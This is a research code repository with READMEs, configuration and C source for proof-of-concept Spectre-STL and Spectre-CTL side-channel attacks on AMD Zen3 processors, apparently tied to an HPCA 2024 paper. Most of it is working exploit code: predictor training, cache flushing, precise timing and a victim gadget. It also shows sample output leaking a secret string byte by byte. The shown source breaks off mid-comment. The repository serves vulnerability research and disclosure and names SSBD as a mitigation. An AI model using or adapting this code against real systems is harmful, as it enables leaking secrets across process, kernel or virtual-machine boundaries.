├── LICENSE ├── README.md ├── Spectre-CTL ├── Makefile ├── README.md ├── config.h └── spectre-ctl.c ├── Spectre-STL-ng ├── Makefile ├── README.md ├── config.h └── spectre-stl-ofp.c └── figures ├── Collision-Finding.png ├── Spectre-CTL.png └── Transient-Attack.png /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Out-of-Place Spectre-STL and Spectre-CTL Attacks 2 | 3 | ## Introduction 4 | 5 | The code in this project demonstrates the transient execution vulnerabilities of two predictors, the Speculative Store Bypass (SSB) predictor and the Predictive Store Forwarding (PSF) predictor in AMD Zen3 Processores. In specific, we propose two innovative attacks targeting these predictors, including an out-of-place variant of Spectre-STL attack based on PSFP and Spectre-CTL attack based on SSBP. 6 | 7 | The PoC of the Out-of-Place Spectre-STL attack is in the directory `Spectre-STL-ng`, and the PoC of the Spectre-CTL attack is in the directory `Spectre-CTL`. In specific, the repository is organized as follows: 8 | 9 | ``` 10 | . 11 | ├── figures -- figures illustrated in README files 12 | ├── Spectre-CTL -- PoC of the Spectre-CTL Attack 13 | │ ├── config.h -- Some configurable parameters 14 | │ ├── Makefile -- Compile the PoC via make 15 | │ ├── README.md 16 | │ └── spectre-ctl.c -- Source code of the Spectre-CTL Attack 17 | └── Spectre-STL-ng -- PoC of the out-of-place Spectre-STL Attack 18 | ├── config.h -- Some configurable parameters 19 | ├── Makefile -- Compile the PoC via make 20 | ├── README.md 21 | └── spectre-stl-ofp.c -- Source code of the out-of-place Spectre-STL Attack 22 | ``` 23 | 24 | ## Quick Start 25 | 26 | A C compiler is required to build the PoC. Please install `gcc` and `make` before start. 27 | 28 | - To build and run the out-of-place Spectre-STL Attack: 29 | 30 | ``` 31 | cd Spectre-STL-ng 32 | make 33 | ./spectre-stl-ofp 34 | ``` 35 | 36 | - To build and run the Spectre-CTL Attack: 37 | 38 | ``` 39 | cd Spectre-CTL 40 | make 41 | ./spectre-ctl 42 | ``` 43 | 44 | ## Environment 45 | 46 | We have tested the PoCs on 4 CPUs with different kernel version, which is shown as follows: 47 | 48 | |Processor|Microcode|Kernel| 49 | |:-:|:-:|:-:| 50 | |AMD Ryzen 9 5900X|0xA201205|Linux 5.15.0-76-generic| 51 | |AMD EPYC 7543|0xA001173|Linux 6.1.0-rc4-snp-host-93fa8c5918a4| 52 | |AMD Ryzen 5 5600G|0xA50000D|Linux 5.15.0-76-generic| 53 | |AMD Ryzen 7 7735HS|0xA404102|Linux 5.4.0-153-generic| 54 | 55 | The two attacks leak secrets successfully on these CPUs. 56 | 57 | ## Attack Features 58 | 59 | Based on the reverse engineering of SSBP and PSFP, we can train any entries of these predictors to any states and trigger the mispredictions. The process of the transient execution of PSFP and SSBP is shown in Fig 1. 60 | 61 |
62 |
Fig 1.   Transient Execution of PSFP and SSBP.
63 | 64 | #### 65 | 66 | As shown in Fig 1, we delay the data address generation of the store by performing time-consuming calculations or loading the data address from memory (1). This allows the predictors to be used to predict whether the load can bypass the store and whether the data of the store can be forwarded to the load before its address is generated. For simplification, assume that the DPA of the store is 0xaa, and the data is 0xdd. The DPA of the load is 0xaa (2a) or 0xbb (2b) in different cases. The memory 0xaa contains the value 0xcc. 67 | 68 | By training the predictors, we can trigger a misprediction of PSFP (3a) or SSBP (3b). In the misprediction of PSFP, the DPA of the store is predicted as 0xbb, and a predictive store forwarding is performed (4a). In the misprediction of SSBP, the DPA of the store is predicted as another value that is not equal to 0xbb, and then a speculative store bypass is performed to load the data from the data cache or memory (4b). 69 | 70 | Before the data address of the store is generated, the CPU does not stall the following instructions, but continues to consume the incorrectly loaded data (5). Since the CPU will find the misprediction and reissue the load later, the execution is referred to as the transient execution. To observe the loaded data in the transient window, we can use the cache side channel or SSBP itself to recover the data. When the data address of the store is generated, the CPU identifies a misprediction and triggers a rollback to eliminate the effects of the transient execution (6). After the rollback, we recover the data in the transient window by timing the cache access or the execution of the store-load pair. 71 | 72 | The results indicate that 0xbb is loaded in the transient window triggered by PSFP, and 0xcc is loaded in the transient window triggered by SSBP. Therefore, both predictors can be misused to trigger the transient execution, during which an unexpected value is loaded and consumed. 73 | 74 | To search for the collision, we use the code sliding shown in Fig 2. 75 | 76 |
77 |
Fig 2.   Code sliding to find collision for the predictors.
78 | 79 | #### 80 | 81 | The store-load pair in the victim fixes at an address. We obtain the machine code of another store-load pair for priming and probing the PSFP and SSBP, and fill the machine code into a set of contiguous pages. 82 | 83 | After that, we execute the store-load pair in the victim space using a well-designed memory access sequence for PSFP and SSBP, and then execute the code using another well-designed memory access sequence. 84 | 85 | Finally, we check whether the collision occurs by timing the execution of the candidate prime and probe function. If the execution time matches the SSBP or PSFP state, the collision occurs. Otherwise, the collision does not occur, and we increase the entry address of the candidate prime and probe function by one byte, so that the IPA moves one byte within the page for the next attempt. 86 | 87 | ## Defense 88 | 89 | To mitigate these new variants of Spectre attacks, we recommend AMD users to activate Speculative Store Bypass Disable (SSBD). While enabling SSBD may incur a performance loss, it effectively stops the attacks because SSBP and PSFP are disabled with SSBD enabld. 90 | 91 | ## Research Paper 92 | 93 | Our research on SSBP and PSFP, including out-of-place Spectre-STL and Spectre-CTL attacks, is presented in paper *Uncovering and Exploiting AMD Speculative 94 | Memory Access Predictors for Fun and Profit*. The paper has been accepted in the 30th International Symposium on High-Performance Computer Architecture (HPCA 2024). -------------------------------------------------------------------------------- /Spectre-CTL/Makefile: -------------------------------------------------------------------------------- 1 | all: spectre-ctl 2 | 3 | %: %.c 4 | $(CC) $< -o $@ 5 | 6 | clean: 7 | rm -f spectre-ctl -------------------------------------------------------------------------------- /Spectre-CTL/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-CTL PoC 2 | 3 | ## Introduction 4 | 5 | In this Proof-of-Concept (PoC), we present the utilization of the SSBP to construct a new variant of the Spectre Attack, which we name as Spectre-CTL. Furthermore, we demonstrate the use of the SSBP to transmit a secret byte at a time in the transient window. 6 | 7 | Specifically, this PoC reveals that the SSBP can be leveraged in two distinct attack phases within a Spectre attack: 8 | 9 | - Triggering a transient window: The SSBP enables the creation of a transient window without relying on the branch predictor or a faulty load, facilitating the execution of a speculative load. 10 | In contrast to Spectre-STL (also known as Spectre V4), where the data for the speculative load is retrieved from an unresolved store, in this case, the data is fetched from the cache. 11 | 12 | - Transmitting secrets in a transient window: The SSBP allows for the transmission of secrets within a transient window without requiring the use of a cache side channel, thereby bypassing traditional detection mechanisms. 13 | 14 | An interesting aspect of this approach is the use of an out-of-place method to prime or train the SSBP. This method involves utilizing another load instruction to prime the SSBP before triggering the transient window through the load of the victim. This technique allows for effective conditioning of the SSBP, optimizing its behavior for the subsequent speculative execution of the load. 15 | 16 | By showcasing these capabilities, this PoC underscores the potential risks posed by the SSBP in enabling sophisticated Spectre attacks that can exploit transient execution. 17 | 18 | Considering that SSBP is not well isolated among different processes, between user space and kernel space, and even between host OS and guest OS with SEV-SNP, more powerful and end-to-end attacks are possible to be implemented. 19 | 20 | ## Build 21 | 22 | A C compiler is required. For example, we use gcc 9.4.0 with make 4.2.1. No specific kernel or package dependencies and installations are required. The executable file named `spectre-ctl` can be built through a simple command: 23 | 24 | ```shell 25 | make 26 | ``` 27 | 28 | ## Run 29 | 30 | ```shell 31 | ./spectre-ctl 32 | ``` 33 | 34 | Expected result is as follows: 35 | 36 | ``` 37 | Search offset of prime entry: find offset as 246 38 | Search offset of probe entry: find offset as 3271 39 | Putting 'Leaky SSBP: A noval Spectre-CTL attack!' in memory, address 0x557417b15008 40 | Reading 39 bytes: 41 | Reading at address = 0x557417b15008... Success: 0x4C='L' score=3 42 | Reading at address = 0x557417b15009... Success: 0x65='e' score=3 43 | Reading at address = 0x557417b1500a... Success: 0x61='a' score=3 44 | Reading at address = 0x557417b1500b... Success: 0x6B='k' score=3 45 | Reading at address = 0x557417b1500c... Success: 0x79='y' score=3 46 | Reading at address = 0x557417b1500d... Success: 0x20=' ' score=3 47 | Reading at address = 0x557417b1500e... Success: 0x53='S' score=3 48 | Reading at address = 0x557417b1500f... Success: 0x53='S' score=3 49 | Reading at address = 0x557417b15010... Success: 0x42='B' score=3 50 | Reading at address = 0x557417b15011... Success: 0x50='P' score=3 51 | Reading at address = 0x557417b15012... Success: 0x3A=':' score=3 52 | Reading at address = 0x557417b15013... Success: 0x20=' ' score=3 53 | Reading at address = 0x557417b15014... Success: 0x41='A' score=3 54 | Reading at address = 0x557417b15015... Success: 0x20=' ' score=3 55 | Reading at address = 0x557417b15016... Success: 0x6E='n' score=3 56 | Reading at address = 0x557417b15017... Success: 0x6F='o' score=3 57 | Reading at address = 0x557417b15018... Success: 0x76='v' score=3 58 | Reading at address = 0x557417b15019... Success: 0x61='a' score=3 59 | Reading at address = 0x557417b1501a... Success: 0x6C='l' score=3 60 | Reading at address = 0x557417b1501b... Success: 0x20=' ' score=3 61 | Reading at address = 0x557417b1501c... Success: 0x53='S' score=3 62 | Reading at address = 0x557417b1501d... Success: 0x70='p' score=3 63 | Reading at address = 0x557417b1501e... Success: 0x65='e' score=3 64 | Reading at address = 0x557417b1501f... Success: 0x63='c' score=3 65 | Reading at address = 0x557417b15020... Success: 0x74='t' score=3 66 | Reading at address = 0x557417b15021... Success: 0x72='r' score=3 67 | Reading at address = 0x557417b15022... Success: 0x65='e' score=3 68 | Reading at address = 0x557417b15023... Success: 0x2D='-' score=3 69 | Reading at address = 0x557417b15024... Success: 0x43='C' score=3 70 | Reading at address = 0x557417b15025... Success: 0x54='T' score=3 71 | Reading at address = 0x557417b15026... Success: 0x4C='L' score=3 72 | Reading at address = 0x557417b15027... Success: 0x20=' ' score=3 73 | Reading at address = 0x557417b15028... Success: 0x61='a' score=3 74 | Reading at address = 0x557417b15029... Success: 0x74='t' score=3 75 | Reading at address = 0x557417b1502a... Success: 0x74='t' score=3 76 | Reading at address = 0x557417b1502b... Success: 0x61='a' score=3 77 | Reading at address = 0x557417b1502c... Success: 0x63='c' score=3 78 | Reading at address = 0x557417b1502d... Success: 0x6B='k' score=3 79 | Reading at address = 0x557417b1502e... Success: 0x21='!' score=3 80 | ``` 81 | 82 | ## Detail 83 | 84 | The attack process is shown in Fig 1. (Fig 10 in the paper). 85 | 86 |
87 |
Fig 1.   Spectre-CTL Attack
88 | 89 | #### 90 | 91 | Similar to Spectre-STL, Spectre-CTL requires one store and three loads in the victim’s address space: 92 | 93 | ```c 94 | void victim_function() { 95 | array2[idx] = 0; 96 | temp = array2[array1[array2[idx2]]]; 97 | } 98 | ``` 99 | 100 | There are three steps to implement the attack. 101 | 102 | #### Step 1: Prime and Train 103 | 104 | During the train phase, the attacker tries to discover two collisions with the first and the third load of the victim through code sliding. Upon finding these collisions, the attacker proceeds to train the relevant SSBP entries by clearing the SSBP counter ($C_3$ in the paper) so that a misprediction as non-aliasing will occur. Then the attacker sets the first loaded data as the secret’s address. 105 | 106 | #### Step 2: Transient Execution 107 | 108 | After training, the attacker executes the victim function with `idx = idx2`. The store is delayed by evicting `idx` from the cache, and SSBP gives a misprediction that the first load can bypass the store and fetch data from the cache or memory. In the transient window, the second load fetches the secret. Subsequently, the third load treats the secret as an address, updates the second SSBP entry. The SSBP counter ($C_3$ in the paper) in this entry is updated to 15 if the secret is equal to `idx`, and remains 0 otherwise. The leak phase is finished when the CPU detects the misprediction and triggers a rollback. 109 | 110 | #### Step 3: Probe 111 | 112 | Finally, the attacker probes the second SSBP entry in the recover phase. If the stall of the load is observed, it indicates that the secret is equal to `idx`, signifying a successful recovery of the secret. 113 | 114 | ## Configurable parameters 115 | 116 | Some configurable parameters are listed in file `config.h`. The parameters are divided into 2 categories. After modifying some of the parameters, please rebuild the PoC: 117 | 118 | ``` 119 | make clean & make 120 | ``` 121 | 122 | ### System parameters 123 | 124 | System parameters relate to the microarchitecture design and CPU frequency. Only one parameter is configurable in this PoC. 125 | 126 | #### TYPE_H_BOUND 127 | 128 | This judgment threshold is used to determine whether a non-aliased store-load pair is predicted as aliasing or non-aliasing. If the store-load pair is predicted as non-aliasing, the execution time is shorter; otherwise, the execution time is longer. 129 | 130 | For example, on AMD Ryzen 9 5900X with the following CPU frequency configuration, a feasible `TYPE_H_BOUND` is 190 (146 vs 205+). 131 | 132 | ``` 133 | CPU MHz: 2200.000 134 | CPU max MHz: 3700.0000 135 | CPU min MHz: 2200.0000 136 | ``` 137 | 138 | ### Attack parameters 139 | 140 | Attack parameters relate to the attack performance, including success rate and leakage speed. Five parameters are configurable in this PoC. 141 | 142 | #### SECRET 143 | 144 | A string that is placed in the victim space. 145 | 146 | #### LEAK_LEN 147 | 148 | The lenght of bytes that will be leaked, which is suggested to be less than the length of the secret string. 149 | 150 | #### TRY_FOR_LEAK 151 | 152 | Try times for secret leakage, which is 100 by dedault. 153 | 154 | #### TRY_FOR_COLLISION 155 | 156 | Try times for collision finding, which is 10 by dedault. 157 | 158 | #### PG_NUM 159 | 160 | Size of the empty executable page for code sliding, which is 5 by dedault. -------------------------------------------------------------------------------- /Spectre-CTL/config.h: -------------------------------------------------------------------------------- 1 | /* 2 | * System adjustable parameters. 3 | * These parameters relates to the microarchitecture design and CPU frequency. 4 | */ 5 | 6 | // SSBP threshold, SSBP predicts as non-aliasing if time <= threshold. 7 | #define TYPE_H_BOUND 190 8 | 9 | /* 10 | * Attack adjustable parameters. 11 | * These parameters relate to the attack performance, including success rate and leakage speed. 12 | */ 13 | 14 | // Secret in the victim space that is to be leaked. 15 | #define SECRET "Leaky SSBP: A noval Spectre-CTL attack!\0" 16 | // Leakage length. 17 | #define LEAK_LEN 39 18 | // Try times for secret leakage. 19 | #define TRY_FOR_LEAK 100 20 | // Try times for collision finding. 21 | #define TRY_FOR_COLLISION 10 22 | // Try size for the prime and probe function. 23 | #define PG_NUM 5 24 | 25 | /* 26 | * Attack fixed parameters. 27 | * These parameters SHOULD NOT be modified. 28 | */ 29 | 30 | /** Prime and probe function in the machine code format. Assembly code is as follows: 31 | * .rep 20 32 | * imul $1, %rdi 33 | * .endr 34 | * movl %$0, 0x0(%rdi) 35 | * mov 0x0(%rsi), %eax 36 | * .rep 20 37 | * imul $1, %eax 38 | * .endr 39 | * ret 40 | **/ 41 | #define PRIME_PROBE_FUNC 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 42 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 43 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 44 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 45 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 46 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 47 | 72, 107, 255, 1, 72, 107, 255, 1, 199, 7, 0, 0, 0, 0,\ 48 | 144, 139, 6, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 49 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 50 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 51 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 52 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 53 | 107, 192, 1, 195 54 | // Page size. 55 | #define PG_SIZE (1 << 12) 56 | // Size of search space for collision finding. 57 | #define EXE_PAGE_SIZE (PG_NUM * PG_SIZE) 58 | // We use instruction RDPRU to get the timestamp. 59 | #define RDPRU ".byte 0x0f, 0x01, 0xfd" -------------------------------------------------------------------------------- /Spectre-CTL/spectre-ctl.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | /* ======================= */ 8 | /* PoC Configuration. */ 9 | /* ======================= */ 10 | 11 | #include "config.h" 12 | 13 | /* ======================= */ 14 | /* Common address space. */ 15 | /* ======================= */ 16 | 17 | // Variables that are used both in attacker and victim space. 18 | uint8_t unused1[64]; 19 | uint8_t array1[160] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; 20 | uint8_t unused2[64]; 21 | long array2[256]; 22 | size_t idx, idx2; 23 | uint8_t padding_1[64]; 24 | size_t idx_chain_0 = (size_t) &idx; 25 | uint8_t padding_1[64]; 26 | size_t idx_chain_1 = (size_t) &idx_chain_0; 27 | uint8_t padding_2[64]; 28 | size_t idx_chain_2 = (size_t) &idx_chain_1; 29 | 30 | /* ======================= */ 31 | /* Victim address space. */ 32 | /* ======================= */ 33 | 34 | // For an avaliable load. 35 | char* secret = SECRET; 36 | 37 | // For an non-optimized load. 38 | uint8_t temp = 0; 39 | 40 | void victim_function() { 41 | // Delayed store, cause a prediction of SSBP. 42 | array2[idx] = 0; 43 | /* Three loads: 44 | 1) load1 = array2[idx2]; (We train the SSBP entry that this load selects to predict as non-aliasing.) 45 | 2) load2 = array1[load1]; 46 | 3) load3 = array2[load2]. (We probe the SSBP entry that this load selects to recover the secret byte. Note that the right shift is not required here.) 47 | */ 48 | temp = array2[array1[array2[idx2]]]; 49 | } 50 | 51 | /* ======================= */ 52 | /* Attacker address space. */ 53 | /* ======================= */ 54 | 55 | // Prime and probe function in the machine code format. This code is used during fiding the SSBP collision, and slides in an executable page. The instruction address of this function increases one byte for each round of collision finding. 56 | uint8_t function_base[150] = { 57 | PRIME_PROBE_FUNC 58 | }; 59 | 60 | // Length of the machine bytes. 61 | int bytes_num_for_base = 150; 62 | 63 | // The page where the prime function (target the same SSBP as the 1st load in the victim funcion) will be placed. 64 | static char* executable_page_1; 65 | 66 | // The page where the probe function (target the same SSBP as the 3rd load in the victim funcion) will be placed. 67 | static char* executable_page_2; 68 | 69 | // The declaration of SSBP prime function (target the same SSBP as the 1st load in the victim funcion). This is the entry of the prime and probe function that in the machine code format in line 56. 70 | static void (*prime_entry) (void*, void*); 71 | 72 | // The declaration of SSBP probe function (target the same SSBP as the 3rd load in the victim funcion). This is the entry of the prime and probe function that in the machine code format in line 56. 73 | static void (*probe_entry) (void*, void*); 74 | 75 | // Record execution time of the prime and probe function. 76 | uint64_t timing[100]; 77 | 78 | /** 79 | * Memory fence. 80 | */ 81 | __attribute__((always_inline)) inline void mfence() { 82 | __asm__ volatile("mfence" ::: "memory"); 83 | } 84 | 85 | /** 86 | * Flush a specific cache line by a given address. 87 | * @param 88 | * - addr: the virtual address that needs to be flushed 89 | */ 90 | __attribute__((always_inline)) inline void clflush(void* addr) { 91 | __asm__ volatile("clflush (%0)" :: "r"(addr)); 92 | } 93 | 94 | /** 95 | * Get a timestamp on the CPU that executes the code. 96 | * @return 97 | * - the 64-bit timestamp 98 | */ 99 | __attribute__((always_inline)) inline size_t gettime(void) { 100 | unsigned long low_a, high_a; 101 | asm volatile(RDPRU 102 | : "=a" (low_a), "=d" (high_a) 103 | : "c" (1)); 104 | unsigned long aval = ((low_a) | (high_a) << 32); 105 | return aval; 106 | } 107 | 108 | /** 109 | * Analyse a given time record, return the count of speculative store bypass state. 110 | * @param 111 | * - timing: timestamp records, in the form of an array 112 | * - len: the length of timestamp array 113 | * @return 114 | * - the count of speculative store bypass state. 115 | */ 116 | int cnt_non_aliasing(uint64_t* timing, int len) { 117 | int cnt = 0; 118 | for(int i = 0; i < len; ++ i) { 119 | if (timing[i] <= TYPE_H_BOUND) { 120 | cnt ++; 121 | } 122 | } 123 | return cnt; 124 | } 125 | 126 | /** 127 | * Leak secrets through out-of-place Spectre-STL attack. 128 | * We modify the code based on Spectre-V1 attack (https://github.com/Eugnis/spectre-attack). 129 | * @param 130 | * - malicious_x: the distance between secret byte and the base address of array1 131 | * - value: record the recovered byte for each round of try, each element ranges from 0 to 255 132 | * - score: count the recovered value for each round of try, each element ranges from 0 to TRY_FOR_LEAK 133 | **/ 134 | void leak(size_t malicious_x, uint8_t value[2], int score[2]) { 135 | // Temporal score board. 136 | static int results[256]; 137 | // Store the timestamp. 138 | register uint64_t time1, time2; 139 | // For flush and reload. 140 | uint8_t junk = 0; 141 | volatile uint8_t* addr; 142 | // For score board evaluation. 143 | int rank_0_idx, rank_1_idx, mix_i; 144 | // Reset the score board. 145 | for (int i = 0; i < 256; i++) 146 | results[i] = 0; 147 | // Leak secrets through Spectre-CTL attack. 148 | for (int tries = TRY_FOR_LEAK; tries > 0; tries--) { 149 | for (int test_byte = 0; test_byte < 256; ++ test_byte) { 150 | // Initialize the target entry of SSBP through the prime function and the probe function. The memory access sequence is (a 40n a 40n a 40n). 151 | for (int i = 0; i < 3; ++ i) { 152 | (*prime_entry)(&array2[0], &array2[0]); 153 | mfence(); 154 | (*probe_entry)(&array2[0], &array2[0]); 155 | for (int j = 0; j < 40; ++ j) { 156 | mfence(); 157 | (*prime_entry)(&array2[0], &array2[1]); 158 | (*probe_entry)(&array2[0], &array2[1]); 159 | mfence(); 160 | } 161 | } 162 | // Prepare an aliasing store-load pair for attack. 163 | idx = test_byte; 164 | idx2 = test_byte; 165 | array2[idx2] = malicious_x; 166 | temp = array2[idx2]; 167 | // Delay the address generation of the store. 168 | clflush(&idx); 169 | clflush(&idx_chain_0); 170 | clflush(&idx_chain_1); 171 | clflush(&idx_chain_2); 172 | // We can recover the secret even the secret is not in cache. 173 | clflush(&array1); 174 | mfence(); 175 | // Trigger a transient execution in the victim space. 176 | idx = (int)*(size_t*)*((size_t*)*(size_t *)idx_chain_2); 177 | victim_function(); 178 | // Probe SSBP to recover the secret. The memory access sequence is (35n). 179 | for(int i = 0; i < 35; ++ i) { // probe the SSBP 180 | mfence(); 181 | time1 = gettime(); 182 | (*probe_entry)(&array2[0], &array2[10]); 183 | mfence(); 184 | time2 = gettime() - time1; 185 | mfence(); 186 | timing[i] = time2; 187 | } 188 | // Recover the secret byte based on the frequency of non-alised execution time. 189 | results[test_byte] += cnt_non_aliasing(timing, 35) < 30 ? 1 : 0; 190 | } 191 | // Evaluate the score board, and perform an early-stop algorithm if a 